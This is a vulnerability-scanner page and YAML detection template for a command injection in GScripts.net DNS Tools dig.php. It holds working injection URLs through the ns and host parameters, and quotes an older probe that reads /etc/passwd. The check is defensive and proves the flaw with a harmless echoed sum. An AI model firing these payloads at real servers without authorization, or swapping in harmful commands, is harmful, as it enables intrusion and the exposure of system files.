GScripts.net DNS Tools — 1 vulnerability check

noctis ships 1 vulnerability check for GScripts.net DNS Tools, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

GScripts.net DNS Tools dig.php Unauthenticated OS Command Injection

CVECVE-2009-1361, CVE-2009-1916
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/gscripts-dns-tools/gscripts-dns-tools-dig-rce.yaml

Detects the unauthenticated OS command injection in dig.php of GScripts.net DNS Tools (PHP Digger), which passes the ns (CVE-2009-1916) and host (CVE-2009-1361) request parameters unescaped to system("dig @$ns $host $query_type"). Confirmation is keyed on a benign per-run proof: a shell-computed sum printed after a NOCTIS marker in the dig.php page. No fix was released; remove the script.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/dig.php HTTP/1.0
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/dig.php?ns=%7C%7Cecho%20NOCTIS%24%28%28{{ov.a}}%2B{{ov.b}}%29%29%7C%7C&host=e…
  4. Checks ns_resp.banner for NOCTIS → finding QoD 97: GScripts.net DNS Tools command injection (ns) confirmed via GET …/dig.php?ns=||echo NOCTIS$((…+…))||: the shell printed NOCTIS… (a sum abse…
  5. Parses / computes the next value with a Rhai script
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/dig.php?ns=127.0.0.1&host=-v%3Becho%20NOCTIS%24%28%28{{ov.c}}%2B{{ov.d}}%29%2…
  7. Checks host_resp.banner for NOCTIS → finding QoD 97: GScripts.net DNS Tools command injection (host) confirmed via GET …/dig.php?ns=127.0.0.1&host=-v;echo NOCTIS$((…+…));: the shell printed NO…

References:

Feed source — tests/vulnerabilities/gscripts-dns-tools/gscripts-dns-tools-dig-rce.yaml
# GScripts.net DNS Tools (PHP Digger) — dig.php unauthenticated OS command injection
#
# Ported from OpenVAS/Greenbone NVT `2009/gb_gscripts_cve_2009_1361.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.100182, GPL-2.0-only), "GScripts.net DNS Tools RCE
# Vulnerability (May 2009)", which tracks CVE-2009-1361 and CVE-2009-1916.
#
# dig.php runs `system("dig @$ns $host $query_type")` with the request
# parameters pasted in unescaped (EDB-8454) and prints the output in the page:
#   - CVE-2009-1916: shell metacharacters in `ns`
#   - CVE-2009-1361: shell metacharacters in `host`
#
# The NASL requests <dir>/dig.php (dir = "", /whois, /dns_tools and the CGI dirs),
# and only when it answers 200 sends
#   <dir>/dig.php?ns=||cat%20/etc/passwd&host=example.org&query_type=NS&status=digging
# and matches a passwd line. That probe goes through `ns`, so it proves
# CVE-2009-1916; each finding below names only the CVE its parameter proves.
#
# This feed keeps the NASL's directories (plus /cgi-bin and /scripts from its
# CGI dirs), its 200 gate on dig.php and its `||`
# break-out in `ns`, with only the command changed:
#   1. ns (CVE-2009-1916, QoD 97):
#        ns=||echo NOCTIS$((a+b))||   (a, b = per-run random 6-digit ints)
#      -> `dig @||echo NOCTIS$((a+b))|| example.org NS`: dig fails on the empty
#      server, the shell prints NOCTIS<a+b>. The sum never appears in the request,
#      so a page that reflects or strips the parameter (dig's own
#      "couldn't get address for '...'" error on a quoting build) cannot produce it.
#   2. host (CVE-2009-1361, QoD 97, beyond the NASL): ns=127.0.0.1 and
#        host=-v;echo NOCTIS$((c+d));
#      -> `dig @127.0.0.1 -v;echo NOCTIS$((c+d)); NS`: `dig -v` only prints its
#      version (no DNS query, so no wait before the echo). Catches a build that
#      quotes `ns` but not `host`, which the NASL misses.
#
# Beyond the NASL: `cat /etc/passwd` is replaced by an inert shell sum (no file
# is read), and the `host` sink (CVE-2009-1361) is probed too.
uid: 8d41fcba-5c7c-4ef2-b0f6-cef2686720cf
name: "GScripts.net DNS Tools dig.php Unauthenticated OS Command Injection"
description: |
  Detects the unauthenticated OS command injection in dig.php of GScripts.net DNS
  Tools (PHP Digger), which passes the ns (CVE-2009-1916) and host (CVE-2009-1361)
  request parameters unescaped to system("dig @$ns $host $query_type").
  Confirmation is keyed on a benign per-run proof: a shell-computed sum printed
  after a NOCTIS marker in the dig.php page. No fix was released; remove the script.
cves: [CVE-2009-1361, CVE-2009-1916]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [gscripts, dns-tools, php-digger, php, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-1361"
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-1916"
  - "https://www.exploit-db.com/exploits/8454"
  - "OpenVAS/Greenbone NASL 2009/gb_gscripts_cve_2009_1361.nasl (GPL-2.0-only)"

steps:
  # Per-run operands for both probes.
  - id: gen-tokens
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = rand_int(100000, 999999);
      let d = rand_int(100000, 999999);
      #{ a: a, b: b, ns_sum: "" + (a + b), c: c, d: d, host_sum: "" + (c + d) }
    store_as: ov

  # Set once the ns sink is proven, so a fully vulnerable install still gets its
  # host probe (CVE-2009-1361) without the ns finding repeating per directory.
  - id: init-ns-hit
    action: set_var
    var_name: ns_hit
    var_value: false

  # ── Per directory (the NASL's list + its usual CGI dirs): this step and every following one ──
  # Pre-initialised so a failed request leaves no undefined variable behind.
  - id: init-results
    action: set_var
    var_name: page
    var_value: {connected: false, banner: null}
    loop:
      over:
        - ""
        - "/dns_tools"
        - "/whois"
        - "/cgi-bin"
        - "/scripts"
      var: dir

  - id: init-ns-result
    action: set_var
    var_name: ns_resp
    var_value: {connected: false, banner: null}

  - id: init-host-result
    action: set_var
    var_name: host_resp
    var_value: {connected: false, banner: null}

  # The NASL's gate: dig.php must answer 200 before any injection is sent.
  - id: probe-dig
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/dig.php HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10   # connect only; the reply is read for 3 s (checks/tcp.rs)
    store_as: page

  # 1. ns (CVE-2009-1916) — the NASL's request with `cat` swapped for the sum.
  - id: inject-ns
    action: tcp_connect
    condition: "!ns_hit && type_of(page.banner) == \"string\" && ereg(\"^HTTP/1\\\\.[01] 200\", page.banner)"
    port: "{{port}}"
    send: "GET {{dir}}/dig.php?ns=%7C%7Cecho%20NOCTIS%24%28%28{{ov.a}}%2B{{ov.b}}%29%29%7C%7C&host=example.org&query_type=NS&status=digging HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10   # connect only; the reply is read for 3 s (checks/tcp.rs)
    store_as: ns_resp

  - id: confirm-ns
    action: match
    source: ns_resp.banner
    pattern: "NOCTIS"
    condition: "type_of(ns_resp.banner) == \"string\" && ereg(\"^HTTP/1\\\\.[01] 200\", ns_resp.banner) && ereg(\"NOCTIS\" + ov.ns_sum + \"([^0-9]|$)\", ns_resp.banner)"
    on_match:
      finding:
        cves: [CVE-2009-1916]
        confidence_delta: 0.67
        qod: 97
        evidence: "GScripts.net DNS Tools command injection (ns) confirmed via GET {{dir}}/dig.php?ns=||echo NOCTIS$(({{ov.a}}+{{ov.b}}))||: the shell printed NOCTIS{{ov.ns_sum}} (a sum absent from the request) in the page"

  - id: mark-ns-hit
    action: script
    code: |
      ns_hit || (type_of(ns_resp.banner) == "string" && ereg("^HTTP/1\\.[01] 200", ns_resp.banner) && ereg("NOCTIS" + ov.ns_sum + "([^0-9]|$)", ns_resp.banner))
    store_as: ns_hit

  # 2. host (CVE-2009-1361) — ns left benign, `dig -v` then the sum.
  - id: inject-host
    action: tcp_connect
    condition: "type_of(page.banner) == \"string\" && ereg(\"^HTTP/1\\\\.[01] 200\", page.banner)"
    port: "{{port}}"
    send: "GET {{dir}}/dig.php?ns=127.0.0.1&host=-v%3Becho%20NOCTIS%24%28%28{{ov.c}}%2B{{ov.d}}%29%29%3B&query_type=NS&status=digging HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10   # connect only; the reply is read for 3 s (checks/tcp.rs)
    store_as: host_resp

  - id: confirm-host
    action: match
    source: host_resp.banner
    pattern: "NOCTIS"
    condition: "type_of(host_resp.banner) == \"string\" && ereg(\"^HTTP/1\\\\.[01] 200\", host_resp.banner) && ereg(\"NOCTIS\" + ov.host_sum + \"([^0-9]|$)\", host_resp.banner)"
    on_match:
      finding:
        cves: [CVE-2009-1361]
        confidence_delta: 0.67
        qod: 97
        evidence: "GScripts.net DNS Tools command injection (host) confirmed via GET {{dir}}/dig.php?ns=127.0.0.1&host=-v;echo NOCTIS$(({{ov.c}}+{{ov.d}}));: the shell printed NOCTIS{{ov.host_sum}} (a sum absent from the request) in the page"
      stop: true

View these feeds on GitHub